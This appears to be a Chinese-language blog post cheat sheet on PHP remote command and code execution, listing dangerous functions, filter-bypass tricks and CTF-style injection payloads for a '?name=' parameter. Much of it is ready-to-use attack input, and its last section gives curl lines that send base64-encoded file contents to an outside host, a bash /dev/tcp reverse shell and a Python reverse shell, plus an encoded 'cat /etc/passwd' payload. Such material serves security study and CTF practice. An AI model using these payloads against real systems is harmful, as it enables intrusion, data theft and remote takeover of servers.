首页 > 其他分享 >RCE

RCE

时间:2024-04-04 10:11:59浏览次数:21  
标签:函数 cat flag RCE array php name

RCE

命令执行

命令执行:

脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代码,可在后台权限远程执行恶意指令

成因:

  • 代码层过滤不严
  • 系统的漏洞造成命令注入
  • 调用的第三方组件存在代码执行漏洞

常用的命令执行的函数

system

该函数会把执行结果输出 并把输出结果的最后一行作为字符串返回 如果执行失败则返回false

<?php
system('pwd');
sysytem('whoami');
?>
exec

不输出结果 返回执行结果的最后一行 可使用output进行输出

<?php
exec('pwd',$b);
var_dump($b);
?>
passthru

此函数只调用命令 并把运行结果原样地直接输出 没有返回值。

<?php
passthru('ls');
?>
shell_exec

不输出结果,返回执行结果 使用反引号(``)时调用的就是此函数

<?php
var_dump(shell_exec('ls'));
?>
ob_start

此函数将打开输出缓冲,当输出缓冲激活后,脚本将不会输出内容(除http标头外) 相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中

想要输出存储在内部缓冲区中的内容

可以使用 ob_end_flush() 函数 另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容

<?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>

命令连接符

  • cmd1 | cmd2 只执行cmd2 cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
  • cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
  • cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
  • cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2

代码执行

代码执行

代码执行漏洞是由于服务器对危险函数过滤不严导致用户输入的一些字符串可以被转换成代码来执行,从而造成代码执行漏洞

成因

  • 用户能够控制函数输入
  • 存在可执行代码的危险函数

常见代码执行函数

${} 执行代码

中间的代码会被解析

<?php
${<!-- -->phpinfo()};
?>
eval

将字符串当做函数进行执行 需要传入一个完整的语句 必须以分号 ; 结尾 最常用的函数

<?php
eval('echo "hello";');
?>
assert

判断是否为字符串 是则当成代码执行 在php7.0.29之后的版本不支持动态调用

低版本
<?php 
assert($_POST['a']);
?>

7.0.29之后
<?php
$a = 'assert';
$a(phpinfo());
?>
preg_replace

用来执行一个正则表达式的搜索和替换 执行代码需要使用/e修饰符 前提是不超过php7

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
  • pattern:正则表达式匹配的内容
  • replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组
<?php
preg_replace("/pat/e", $_GET['reg'], 'my pat');
?>
create_function

用来创建匿名函数

create_function(string $args,string $code)
//args是用来创建匿名函数的
//code是函数内的代码
array_map

为数组的每个元素应用回调函数

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
call_user_func

回调函数,可以使用is_callable查看是否可以进行调用

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数 其余参数是回调函数的参数

<?php
highlight_file(__FILE__);
$a = 'system';
$b = 'pwd';
call_user_func($a,$b);
call_user_func('eval','phpinfo()');
?>
call_user_func_array

回调函数,参数为数组

mixed call_user_func_array ( callable $callback , array $param_arr )

复制

第一个参数作为回调函数(callback)调用 把参数数组作(param_arr)为回调函数的的参数传入

<?php
highlight_file(__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array); 
?>

复制

array_filter
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数 如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中 数组的键名保留不变。

<?php
highlight_file(__FILE__);
$array[0] = $_GET['a'];
array_filter($array,'assert');
?>

复制

usort

使用自定义函数对数组进行排序

bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数

<?php
highlight_file(__FILE__);
usort(...$_GET);			php5.6以上的写法
#usort($_GET[1],'assert');	php5.6可用
?>

payload

1[]=phpinfo()&1[]=123&2[]=assert

绕过姿势

常见分隔符
  • 换行符 %0a
  • 回车符 %0d
  • 连续指令
  • 后台进程 &
  • 管道符 |
  • 逻辑 ||&&
空格

可用以下文字代替空格

<
${<!-- -->IFS}
$IFS$9
%09
命令终止符
%00
%20
拼接绕过
a=c;b=a;c=t;$a$b$c flag.php
c''a''t flag
c""a""t flag
c``a``t flag
ca\t flag

敏感字符绕过

变量绕过

绕过flag

a=fl,b=ag; cat $a$b
cat 'ls'
cat $(ls)
fl\ag
cat f""lag
cat f*
cat f???

绕过cat

?name=;c''at flag.php
?name=;c\at flag.php
?name=;c$@at flag.php
?name=$(c\at<flag.php)
?name=$(tac<flag.php)
?name=$(more<flag.php)
?name=$(tail<flag.php)

绕过php

<?= 短标签
Php 大小写
base64编码绕过
echo 'cat' | base64
`echo 'Y2F0Cg==' | base64 -d` test.txt
hex编码绕过
echo "636174202F6574632F706173737764" | xxd -r -p|bash   #cat /etc/passwd
未定义的初始化变量
cat$b /etc/passwd
连接符
cat /etc/pass'w'd
通配符

Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件 可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档ls命令我们可以通过以下语法代替执行

/???/?s --help

场景应用

1、无任何过滤或简单过滤

?name=;cat flag.php
?name=%26cat flag.php
?name=|cat flag.php
?name=`cat flag.php`

2、过滤了;,|,&,`

?name=%0acat flag.php
?name=$(cat flag.php)

3、过滤了;,|,&,`,\s

?name=$(cat<flag.php)
?name=$(cat$IFS./flag.php)

4、页面无命令结果的回显

?name=;curl 192.168.9.111:1234?hh=`ls|base64`
?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`
?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

标签:函数,cat,flag,RCE,array,php,name
From: https://www.cnblogs.com/ningweiyu/p/18113940

相关文章

  • 使用fusesource的mqtt-client-1.7-uber.jar,mqtt发布消息出去,接收端看到的是中文乱码,如
    ......
  • Codeforces Round 937 (Div. 4) D题(无脑做法)
    D.ProductofBinaryDecimals题目:提示:首先如果该数目都是1和0组成那肯定输出yes了,还有这个数如果是二进制的乘积也可以yes现在举个例子看看121=11x1114641=11x11x11x11显然也是yes,但是要如何做呢,下面介绍无脑做法。AC代码#include<bits/stdc++.h>usingnamespace......
  • FlinkSQL Unable to create a source for reading table 'default_catalog.default_da
    问题描述使用FlinkSql的jdbc连接器读取mysql的一张表,总是提示 Exceptioninthread"main"org.apache.flink.table.api.ValidationException:Unabletocreateasourceforreadingtable'default_catalog.default_database程序代码publicstaticvoidmai......
  • Codeforces Round 901 (Div. 2) E
    链接有些部分和常规的题目有很大的区别,所以我理解的过程产生的很大很大的障碍。我看了4天吧,这题和题解。好烦。我的第一个思路就是暴力。因为很明显,其实对于每一个二进制位,a,b,m的情况数量是很有限的,就只有8种,而相应的,c,d的对应位是由这4种位运算得到的。我先尝试对每一种情况看......
  • salesforce学习笔记(5)- Salesforce中的部署方式
    无论你的项目用什么开发语言,都离不开部署这件事,今天我们就聊聊Salesforce中的部署方式。我本人常用的部署方式有三种:更改集(ChangeSet)、Workbench、ANT(Force.commigrationtool)1、更改集(ChangeSet)更改集应该是日常开发中最常用的部署方式,小规模开发或对象及字段的更改......
  • 为什么开启sourcemap后打断点,即使取消断点,实际上还是会断住
    开启SourceMaps后,当在开发工具中为源代码设置断点时,实际上是将断点映射到了经过编译、压缩或打包后的生产代码中相应的位置。SourceMaps的作用就是建立起源代码与编译后代码之间的对应关系,使得开发者能够在查看和调试源代码时如同直接操作未经处理的原始代码一样。即使取消......
  • Codeforces Round 918 (Div. 4)
    CodeforcesRound918(Div.4)D:本题从实现上来说正难则反,应该倒着做在我正着做的时候,由于在访问后面元素的时候没有判边界,导致数组越界,出现奇怪字符在最后答案中。intn,m;inta[N];boolcheck(charc){ if(c=='a'||c=='e')returntrue; elsereturnfalse;}voidsolv......
  • 报错org.activiti.engine.ActivitiIllegalArgumentException: resource 'bpmn/file.bp
    一、代码段及报错位置1.代码段2.报错文件位置  二、报错原因:org.activiti.engine.ActivitiIllegalArgumentException:resource'bpmn/file.bpmn'notfound  三、解决方法:将resources-->bpmn-->file.bpmn复制粘贴到target-->classess-->bpmn下:......
  • ChatGPT会取代Salesforce顾问吗?
    当ChatGPT问世时,许多Salesforce顾问很乐意使用该工具完成日常任务。然而,许多专业人士仍未使用过该工具或发现它的多种功能。Salesforce顾问负责处理复杂的项目、兼顾客户需求,并在不断发展的生态系统中通过各种云服务保持领先地位。因此,顾问需要适应学习人工智能的新技能,这样才能......
  • SeaTunnel DB2 Source Connector 使用文档(含详细操作步骤)
    DB2是IBM的一款关系型数据库管理系统,JDBCDB2SourceConnector是一个用于通过JDBC读取外部数据源数据的连接器。ApacheSeaTunnel如何支持JDBCDB2SourceConnector?请参考本文档。支持引擎SparkFlinkSeaTunnelZeta引擎主要特性批处理(batch)精确一次(exactly-once)列投......